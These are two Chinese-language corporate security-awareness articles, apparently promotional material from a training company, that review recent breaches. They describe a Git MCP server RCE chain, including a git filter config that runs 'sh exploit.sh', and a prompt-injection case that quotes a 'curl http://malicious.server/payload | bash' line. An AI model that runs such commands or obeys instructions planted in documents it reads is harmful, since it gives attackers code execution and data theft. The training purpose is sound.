网络暗潮汹涌,信息安全从“警钟”到“行动”——打造全员防御新格局


一、头脑风暴:四大典型安全事件,警示每一位职场人

在当今“信息化、智能化、无人化”深度融合的时代,网络威胁已经不再是孤立的技术问题,而是渗透进企业运营、供应链、媒体传播乃至日常生活的全方位风险。下面我们先抛出四个来自HackRead平台的真实案例,进行一次“头脑风暴”,帮助大家快速捕捉风险要点,进而引出本文的核心——提升全员安全意识。

案例 主要攻击手段 关键损失/影响 教训亮点
1. 伊朗电视台被黑,流出流亡王子视频 利用广播系统与卫星传输链路的漏洞,植入恶意指令 国家形象受损、信息失真、舆论危机 基础设施(OT)安全不可忽视
2. Carlsberg 活动腕带泄露 PII 通过蓝牙、NFC 等物联网设备收集签到信息,未加密存储 参会者个人身份信息被出售,产生诈骗风险 业务流程中的数据最小化与加密是底线
3. “第三方应用访问敏感数据”研究报告 第三方 SDK、插件在未经授权的情况下读取用户数据 超过 64% 的应用泄露隐私,侵害用户权益 供应链安全审计、最小权限原则是根本
4. Everest 勒索集团宣称入侵麦当劳印度 通过钓鱼、漏洞利用、内部渗透,窃取 861 GB 企业内部数据 机密财务、ERP、投资者信息等被公开,潜在诉讼 端点防护、数据分区、应急响应必须同步

通过这四个案例的快速对比,我们可以看到:攻击面从传统 IT 系统向 OT、IoT、第三方供应链延伸数据泄露的类型从个人身份信息到企业核心机密不等防御的薄弱点往往藏在“细节”——如未加密的 BLE 传输、缺乏 SDK 权限审计、对供应链的盲目信任。下面我们将逐案展开,细致剖析每一次失守背后的技术与管理漏洞。


二、案例深度解剖

1️⃣ 伊朗电视台被黑:媒体设施的“软肋”

事件概述
2025 年底,伊朗国家电视台的卫星转播系统被黑客侵入,播出了一段流亡王子的视频声明。这一行为不仅让伊朗政府形象受损,也引发了地区媒体对广播系统安全的广泛关注。

技术细节
链路漏洞:黑客利用旧版 RTMP(Real-Time Messaging Protocol)协议的缓冲区溢出,植入恶意脚本,使得直播转码服务器在处理特定信号时执行指令。
设备弱口令:部分转播站的调度控制台仍使用默认管理员密码,黑客通过暴力破解获取后台权限。
缺乏分段验证:卫星上行链路未实现端到端的身份验证,导致恶意信号能够直接进入播出路径。

管理失误
安全预算偏向 IT,忽视 OT:广播设备被划归为“非核心业务”,信息安全投入不足。
缺乏演练:危机响应预案停留在“网络攻击”层面,缺少针对媒体播出系统的演练。

教训
1. OT 资产同样需要资产清单:将广播、卫星、调度等设施纳入资产管理系统,实行统一的身份认证与补丁管理。
2. 零信任思想向物理层渗透:在链路层实现双向加密、数字签名,防止伪造信号。
3. 定期渗透演练:针对媒体系统开展红蓝对抗,检验应急响应时效。

2️⃣ Carlsberg 活动腕带泄露 PII:IoT 细节不容忽视

事件概述
2025 年 Carlsberg 在德国举办的品牌推广活动中,为现场嘉宾发放了 NFC/蓝牙腕带用于签到、抽奖。活动结束后,安全研究员在公开平台披露,腕带收集的个人信息(姓名、手机号、邮箱)未加密存储于后台数据库,导致 2 万余名参与者的 PII(Personally Identifiable Information)泄露。

技术细节
明文传输:腕带通过 BLE(Bluetooth Low Energy)将数据发送至现场服务器,通信过程未使用 TLS 加密。
缺乏访问控制:后台数据库对内部网络提供了 0.0.0.0/0 的开放端口,任何局域网设备均可读写。
数据生命周期管理缺失:活动结束后,相关数据未及时删除,导致长期存留。

管理失误
业务需求驱动安全妥协:主办方为了提升现场互动体验,优先考虑“快速采集”而忽视“安全”。
第三方供应商缺乏审计:腕带硬件及配套软件由外包公司提供,未进行安全评估。

教训
1. IoT 终端必须实现端到端加密:无论是 BLE 还是 NFC,都应使用基于标准的安全协议(如 Bluetooth Secure Connections)。
2. 最小权限原则:后端服务仅授权特定 API 调用,禁止直接数据库访问。
3. 数据脱敏与保留策略:对 PII 进行脱敏存储,活动结束后应自动销毁或匿名化。

3️⃣ 第三方应用访问敏感数据的研究报告:供应链安全的盲点

事件概述
2025 年一项针对全球移动应用的调研显示,64% 的第三方 SDK 在未获得用户同意的情况下,访问了通讯录、位置、摄像头等敏感权限。部分 SDK 甚至将数据上传至海外服务器,导致跨境合规风险。

技术细节
权限滥用:在 AndroidManifest 中声明大量高危权限,但实际业务并未使用这些功能。
隐蔽数据传输:通过加密的自定义协议将数据发送至 CDN,难以被普通审计工具捕获。
更新机制漏洞:部分 SDK 使用 HTTP 协议进行热更新,易遭受中间人攻击。

管理失误
开发流程缺少安全审查:企业在引用第三方库时,仅关注功能实现,未进行安全合规评估。
缺乏动态监控:上线后未对应用的运行时权限及网络流量进行持续监控。

教训
1. 供应链安全审计:引入 SCA(Software Composition Analysis)工具,对引入的每一个第三方组件进行许可、漏洞、权限的全链路审计。
2. 动态运行时监控:使用移动端 MDM/UEBA(User and Entity Behavior Analytics)平台,实时监测异常权限调用与网络行为。
3. 合规与隐私保护:依据 GDPR、PDPA 等法规,必须在用户明确授权后才能收集敏感数据。

4️⃣ Everest 勒索集团宣称入侵麦当劳印度:企业内部数据的“黄金库”

事件概述
2026 年 1 月 20 日,臭名昭著的 Everest 勒索集团 在其暗网泄露站点公布,声称已成功渗透麦当劳印度子公司,窃取 861 GB 包含财务报表、ERP 迁移文件、投资者联系数据库等机密信息,并要求企业在两天内支付赎金。

技术细节
钓鱼邮件:攻击者向公司内部员工发送伪装成供应商的钓鱼邮件,诱导用户下载带有宏的 Excel 文件,触发 PowerShell 脚本。
横向移动:利用已获取的域管理员凭证,使用 Pass-the-Hash 技术在内部网络快速横向移动。
数据外泄:将敏感文件压缩后,通过隐藏的 FTP 服务器上传至暗网。

管理失误
未实行最小特权:大量用户拥有本不需要的高权限账户,导致凭证泄露后攻击者能够快速提升权限。
缺乏文件完整性监控:对关键财务/ERP 数据未部署 DLP(Data Loss Prevention)或文件完整性监控。
应急响应迟缓:在泄露被公开前,企业内部未能及时发现异常行为,也未启动事后取证流程。

教训
1. 强身份认证与特权管理:强制 MFA、细粒度的基于角色的访问控制(RBAC),并对特权账号进行一次性的审计。
2. 端点检测与响应(EDR):部署能够实时捕获宏执行、PowerShell 异常行为的终端安全平台。
3. 数据分类与 DLP:对高价值资产实行分区存储、加密与泄露防护,防止一次渗透导致海量数据外泄。


三、从案例到日常:在“具身智能化、信息化、无人化”时代的安全新要求

1. 具身智能(Embodied Intelligence)——机器人、AGV 与协作平台的安全挑战

随着 机器人流程自动化(RPA)协作机器人(cobot)无人仓储(无人化) 逐步渗透到生产与物流环节,传统的“网络边界防护”已难以涵盖所有攻击面。机器人与 AGV(Automated Guided Vehicle)往往配备 嵌入式操作系统无线通信模块(Wi‑Fi、5G)以及 云端指令与监控平台,这让以下风险尤为突出:

  • 固件后门:攻击者可通过供应链植入后门固件,获取机器人控制权;
  • 指令篡改:未加密的 MQTT/CoAP 消息易被劫持,导致误操作甚至生产线停摆;
  • 物理接触攻击:通过 USB、调试口直接植入恶意代码。

应对建议
– 实施 硬件根信任(Root of Trust)安全启动(Secure Boot),确保只有经过签名的固件能够运行。
– 为机器人与云平台之间的 指令通道 强制使用 TLS 1.3 并进行 双向认证
– 对机器人外设(USB、UART)进行 访问控制,只允许受信任维护人员使用。

2. 信息化融合——业务系统与大数据平台的纵深防护

现代企业的 ERP、CRM、供应链管理(SCM) 已深度融入 数据湖、人工智能模型,形成了信息化的 “血脉”。在此环境中:

  • 数据湖泄露:若未实行细粒度访问控制与列级加密,攻击者可一次性抽取海量业务数据。
  • 模型投毒:向机器学习训练集注入恶意样本,进而影响业务决策(如欺诈检测模型的误报/漏报)。
  • 跨系统凭证共享:一次凭证泄露可能波及多个业务系统,形成链式攻击。

应对建议
零信任访问:对每一次数据查询进行动态策略评估,使用 属性基准访问控制(ABAC)
模型安全生命周期管理:对训练数据进行校验、对模型输出进行异常检测。
凭证安全:采用 密码保险库(Secret Manager)短期令牌,避免长期凭证的硬编码。

3. 无人化运营——无人机、无人车与自动化监控的安全要点

无人机与无人车常用于 巡检、物流、边境监控,其安全隐患包括:

  • 通信劫持:遥控链路若未加密,可被劫持导致无人机失控。
  • 图像数据泄露:摄像头捕获的敏感场景(如机密实验室)若未加密存储,易被窃取。
  • 软件更新风险:无人系统往往依赖 OTA(Over-The-Air)更新,若更新流程不安全,将成为植入后门的通道。

应对建议
– 使用 军工级别的加密协议(如 AES‑256‑GCM) 对遥控与视频流进行端到端加密。
– 对所有 存储在本地的影像 实行 硬件加密,并在传输前进行 加密隧道
– 建立 双向签名的 OTA 更新机制,所有固件必须经过可信根签名方批准。


四、呼吁全员参与:信息安全意识培训活动即将开启

1. 培训的目标与价值

  • 提升安全防御 “第一道防线”:员工是信息系统最关键的感知点,只有每个人具备基本的安全认知,才能在攻击初期发现异常、及时上报。
  • 构建安全文化:通过案例学习、情景演练,让安全意识根植于日常工作流程,而非仅限于技术部门的专属话题。
  • 符合合规与审计要求:多数行业监管(如金融、医疗、能源)已将 安全培训完成率 作为审计指标,未达标将面临罚款或业务限制。

2. 培训内容概览

模块 关键知识点 互动方式
网络钓鱼识别 邮件标题、链接跳转、附件宏 实时模拟钓鱼邮件投递,现场演练
密码与身份管理 强密码生成、MFA 配置、密码保险库 现场工坊,现场配置企业 SSO
移动与 IoT 设备安全 蓝牙、NFC 加密、设备固件校验 摸索工作站演示、Mini‑CTF
云与大数据防护 零信任访问、数据加密、日志审计 案例研讨、红蓝对抗演练
应急响应流程 事件上报、取证要点、内部沟通 案例复盘、模拟演练
法律合规与伦理 GDPR、个人信息保护法、行业准则 专题讲座、专家问答

3. 参与方式与奖励机制

  • 报名渠道:企业内部门户 → “安全培训” → “2026 全员安全意识培训”。
  • 培训周期:2026 年 2 月 5 日至 2 月 20 日,采用 线上直播 + 线下体验 双轨制,方便不同岗位灵活参与。
  • 考核与证书:完成全部模块并通过 安全知识测评(80 分以上),即可获得 《信息安全防护合格证》,计入个人职业发展档案。
  • 激励政策:每月抽取 10 名最佳学员,奖励 公司内部积分、额外年假一天;年度安全之星将获得 专项培训基金公司公开表彰

4. 让培训成为日常——从“活动”到“习惯”

  • 安全提示横幅:在内部聊天工具(如 Teams、Slack)每日推送安全小贴士。
  • 安全周:每季度组织一次“安全周”,包括演练、案例分享、黑客剧场。
  • 安全大使:在每个部门选拔 安全大使,负责本部门的安全宣导及疑难解答。
  • 持续测评:通过 phishing simulation系统漏洞扫描,对培训效果进行量化评估,形成闭环改进。

五、收官寄语:从“防火墙”到“防火人”,共筑数字安全堡垒

回望四大案例,我们不难发现:技术漏洞、流程缺失、供应链盲点、身份失控是网络攻击的常见突破口。而在具身智能、信息化、无人化的未来场景里,攻击面将更为立体、渗透路径更为隐蔽。没有防火墙可以阻挡人的失误,唯有让每位职工在日常工作中自觉遵守安全原则,才能真正把企业的“防火墙”延伸到每一双手、每一次点击、每一段代码。

因此,请大家积极报名即将开启的信息安全意识培训,把案例中的警钟化作行动的号角,用知识武装自己,用习惯守护企业。让我们共同构建 “技术+人” 双轮驱动的安全生态,在数字化浪潮中稳步前行,迎接更加智能、更加安全的明天。

愿每一次点击,都是安全的选择;愿每一次合作,都是可信的共赢。

昆明亭长朗然科技有限公司深知信息保密和合规意识对企业声誉的重要性。我们提供全面的培训服务,帮助员工了解最新的法律法规,并在日常操作中严格遵守,以保护企业免受合规风险的影响。感兴趣的客户欢迎通过以下方式联系我们。让我们共同保障企业的合规和声誉。

  • 电话:0871-67122372
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  • QQ: 1767022898

信息安全从想象到落地——在数据化、无人化、智能体化时代守护企业的数字堡垒

头脑风暴:如果明天的工作中,AI 助手不再是“帮手”,而是“潜伏者”;如果代码库的每一次 push 都暗藏“钥匙”,能够让黑客直接打开生产系统的大门;如果我们把所有业务都交给了“无人车”“机器人”“智能体”,却忘记给它们装上“防火墙”,后果会怎样?
想象力的发挥:设想一名攻击者只需要在公司内部的 Wiki 页面里写下一行看似无害的说明文字,AI Agent 便会把这行文字误读为执行指令,随后在数分钟内在关键服务器上植入后门;又或者,一个看似普通的 Git 仓库被“恶意过滤器”所感染,当开发者执行一次 git pull,系统自动执行黑客准备好的 shell 脚本,企业核心数据泄漏,损失难以估算。

这两则极端情景并非空中楼阁,而是已经在 AnthropicGit MCP(Model Context Protocol)服务器中上演的真实威胁。下面,我们将以这两个案例为切入口,深入剖析其背后的安全原理与危害,并以此为镜,呼吁全体员工在数据化、无人化、智能体化融合的浪潮中,主动加入信息安全意识培训,提升个人与组织的防御力。


案例一:Anthropic Git MCP 服务器的“三连环”漏洞

背景概述

2025 年底,Anthropic 向外公布了 Model Context Protocol(MCP),这是一套开放标准,旨在让大型语言模型(LLM)能够安全、统一地与外部系统——如文件系统、数据库、Git 仓库等——进行交互。MCP 通过 MCP 服务器 充当桥梁,使得 Claude、Copilot、Cursor 等 LLM 能以自然语言指令完成代码检索、自动化 CI/CD、文档生成等任务。

然而,Cyata 安全团队在一次红队演练中发现,Anthropic 官方的 Git MCP 服务器(mcp‑server‑git) 存在三处严重缺陷,攻击者可将其与 Filesystem MCP 服务器 串联,形成 远程代码执行(RCE) 的完整链路。

三大漏洞细节

漏洞编号 名称 漏洞描述 影响范围
CVE‑2025‑68145 路径验证绕过(–repository flag) --repository 参数本应限制服务器只能操作指定仓库路径,但后续工具调用未对 repo_path 进行二次校验,导致攻击者可以通过相对路径跳出限制,访问系统任意目录下的仓库。 所有默认部署的 mcp‑server‑git(2025‑12‑18 前版本)
CVE‑2025‑68143 任意路径的 git_init git_init 工具接受任意文件系统路径并在该路径下初始化 Git 仓库,缺乏路径合法性检查,攻击者可在任意可写目录创建受控仓库,为后续操作奠定基础。 同上
CVE‑2025‑68144 参数注入的 git_diff / git_checkout 这两个函数直接将用户提供的 target 参数传递给 GitPython 库,未进行任何转义或白名单校验。攻击者可在 target 中注入 --output=/path/to/file,从而覆盖任意文件,甚至删除文件。 同上

攻击链全程

  1. 创建受控仓库:利用 git_init 在攻击者可写的临时目录(如 /tmp)创建裸仓库。

  2. 写入恶意脚本:通过 Filesystem MCP 服务器,在同一目录下写入名为 exploit.sh 的 Bash 脚本,内容为启动反弹 shell 或下载勒索软件。

  3. 篡改 Git 配置:再次使用 Filesystem MCP,将 Git 仓库内部的 .git/config.gitattributes 文件写入以下过滤器(filter)配置:

    [filter "myfilter"]    clean = sh exploit.sh    smudge = sh exploit.sh
  4. 触发过滤器:当开发者在本地执行 git checkoutgit pullgit apply 时,Git 会自动调用上述 clean/smudge 过滤器,从而执行 exploit.sh,实现 RCE。

要点提醒:整个过程并未需要任何直接的网络渗透,只是利用了 “间接 Prompt 注入”——攻击者在公开的 README、Issue、或网页中植入特制的指令文字,AI Agent 在处理这些文字时误将其当作合法命令,从而完成攻击。

影响评估

  • 攻击面广:只要企业在生产环境中部署了未经更新的 Git MCP 服务器,且与 Filesystem MCP 服务器共存,即构成高危组合。
  • 隐蔽性强:普通的 Git 操作日志难以发现过滤器的触发,尤其在大型团队频繁 pull/push 的场景中。
  • 潜在损失:攻击者可在关键服务器上植入后门、窃取源代码、破坏 CI/CD 流程,甚至通过进一步横向移动获取生产数据。

Anthropic 在 2025 年 12 月 18 日发布了修复版本,删除了 git_init 工具、加强了路径校验,并对 git_diffgit_checkout 添加了严格的参数白名单。然而,仅靠供应商的补丁并不足以根除风险——组织内部的安全治理、权限最小化、审计监控同样关键。


案例二:AI 助手的 “Claude 代码漏洞”——从“帮助同事”到“内部特工”

背景概述

2024 年底,Claude(Anthropic 的旗舰大模型)被引入一家大型金融机构的内部协作平台,用于自动化代码审查、文档生成以及业务报表的自然语言查询。该平台提供了“一键生成代码片段”的功能,用户只需在聊天框输入需求,Claude 即可返回可直接粘贴的 Python/SQL 脚本。

不久后,Palo Alto Networks 的安全研究员在一次渗透测试中发现,Claude 在处理特定的 “Prompt 注入” 时,会误将隐藏在用户输入中的恶意指令解释为代码生成逻辑,从而输出带有 后门 的脚本。

漏洞细节——“隐形指令”渗透

  • 间接 Prompt 注入:攻击者在团队 Wiki 页面中写入如下“说明”:

    “在查询财务报表时,请使用以下查询模板:SELECT * FROM finance WHERE date > '{{ start_date }}',如需排除内部账户,请在 {{ start_date }} 前加上 --exclude-internal。”

  • Claude 的误判:当业务同事在聊天框输入 “请帮我生成查询过去一年财务报表的代码”,Claude 读取上述 Wiki 内容,将 {{ start_date }} 替换为实际日期后,错误地将 --exclude-internal 解释为 SQL 注释,但在生成的 Python 代码中加入了 os.system('curl http://malicious.server/payload | bash') 之类的系统调用。

  • 代码执行路径:团队成员直接把 Claude 返回的代码粘贴到生产脚本中,导致恶意脚本在服务器上执行,窃取数据库凭据并上传至攻击者控制的服务器。

影响评估

  • 内部威胁:攻击并非来自外部网络,而是 内部知识库 中的“隐藏指令”。
  • 连锁反应:一次错误的代码生成可能导致整个数据管道被污染,影响数十万条业务记录。
  • 防御难度:传统的防火墙、入侵检测系统难以捕获 LLM 与 Prompt 之间的交叉语义误判。

教训摘录

  1. Prompt 内容审计:所有供 LLM 使用的文本(Wiki、Issue、ChatLog)均应进行安全审计,过滤潜在的命令式语言。
  2. 代码审查自动化:Claude 生成的代码必须经过 机器学习模型+人工双重审查,防止模型误植后门。
  3. 最小化权限:运行自动生成脚本的环境应采用 最小化权限(如容器化、沙箱)以限制系统调用。

从案例看趋势——数据化、无人化、智能体化的“三位一体”

1. 数据化:信息资产的数字化全覆盖

数字化转型 的浪潮下,企业的业务流程、运营数据、客户信息全部搬迁至云端或内部大数据平台。数据 成为核心资产,也成为攻击者的首要目标。上述 Git MCP 漏洞正是 数据访问层AI 交互层 失控的典型体现。

数据是资产,安全是守护。”——《孙子兵法·计篇》

2. 无人化:机器人、无人车、无人机的协作生产

无人化 让生产线、物流、巡检等环节实现了 高度自动化。然而,无人系统的控制指令往往来源于中心调度平台,如果平台的 AI 调度模型 被注入恶意指令,整个工厂的运转将陷入混乱,甚至造成安全事故。

案例联想:若无人车的路径规划模型被注入 “绕行危险区域”,潜在的人员伤亡风险不言而喻。

3. 智能体化:AI Agent 成为业务的“协同伙伴”

智能体化(Agentic AI)是指让 LLM 与外部工具(代码库、数据库、API)形成闭环,使之可以 自主完成任务。正如 Anthropic MCP 所展示的那样,LLM 可以直接读取 Git 仓库、写入文件、执行脚本——这为效率带来飞跃,也让 攻击面指数级增长

利剑双刃——没有纪律的力量只会自伤。”——《易经·乾卦》


信息安全意识培训的召集令——让每位同事成为防线的“守夜人”

培训目标

  1. 认知提升:让员工了解 AI 交互、Prompt 注入、MCP 服务器等新兴技术的安全风险。
  2. 技能赋能:掌握安全编写 Prompt、审计 AI 生成内容、配置最小权限的实战技巧。
  3. 行为转变:养成安全的工作习惯,如代码审查两步走、敏感指令白名单、异常行为报警。

培训形式

形式 内容 时长 互动方式
线上微课 AI Prompt 编写规范、MCP 安全配置 30 分钟 实时投票、答疑
实战演练 基于虚拟化环境的 Git MCP 漏洞复现与修复 90 分钟 分组攻防、现场点评
案例研讨 Claude 代码漏洞、Prompt 注入案例深度剖析 60 分钟 小组讨论、报告分享
安全文化冲刺 “安全旗帜”倡议、日常安全检查清单 15 分钟 现场抽奖、表彰

温馨提示:所有培训将在 公司内部学习平台 统一发布,完成全部课程并通过考核的同事,将获得 《信息安全优秀实践证书》,并在年终评优中加分。

参与方式

  • 报名渠道:企业邮箱发送《信息安全培训报名表》至 [email protected](邮件主题请注明“信息安全培训报名”)。
  • 截止时间:2026 年 2 月 15 日(周一)23:59。
  • 培训时间:2026 年 2 月 22 日(周二)至 3 月 5 日(周五)每日 19:00-21:00(线上直播)+ 随堂测验。

让安全成为每个人的“第二天性”

“安全不是一次性的任务,而是持续的习惯。”
—— 彼得·克兰西《网络安全的艺术》

在信息化高速发展的时代,技术的便利往往伴随隐藏的危机。我们每个人都是组织安全链条上的一环,只有 “知其然,知其所以然”,才能在威胁面前保持冷静,在危机来临前主动防御。让我们从今天开始,拒绝盲目使用 Prompt,审慎部署 AI Agent,携手构筑数字世界的安全防线!


结束语

安全是 系统的整体性 而非单点的防护。Anthropic Git MCP 的案例提醒我们,AI 与系统深度融合时,任何一个微小的校验缺失都可能演化为全局性的灾难。同样,Claude 的 Prompt 注入案例则让我们看到 内部知识共享的潜在风险。在数据化、无人化、智能体化三大趋势的推动下,信息安全已经从“技术问题”升级为“组织文化”

请大家务必积极报名即将开启的信息安全意识培训,用学习武装自己,用行动守护公司,把“安全意识”落到每一次点击、每一次代码提交、每一次 AI 对话之中。让安全不再是口号,而是我们共同的行为准则!

昆明亭长朗然科技有限公司深知企业间谍活动带来的风险,因此推出了一系列保密培训课程。这些课程旨在教育员工如何避免泄露机密信息,并加强企业内部安全文化建设。感兴趣的客户可以联系我们,共同制定保密策略。

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关键词:AI安全 Prompt注入 安全培训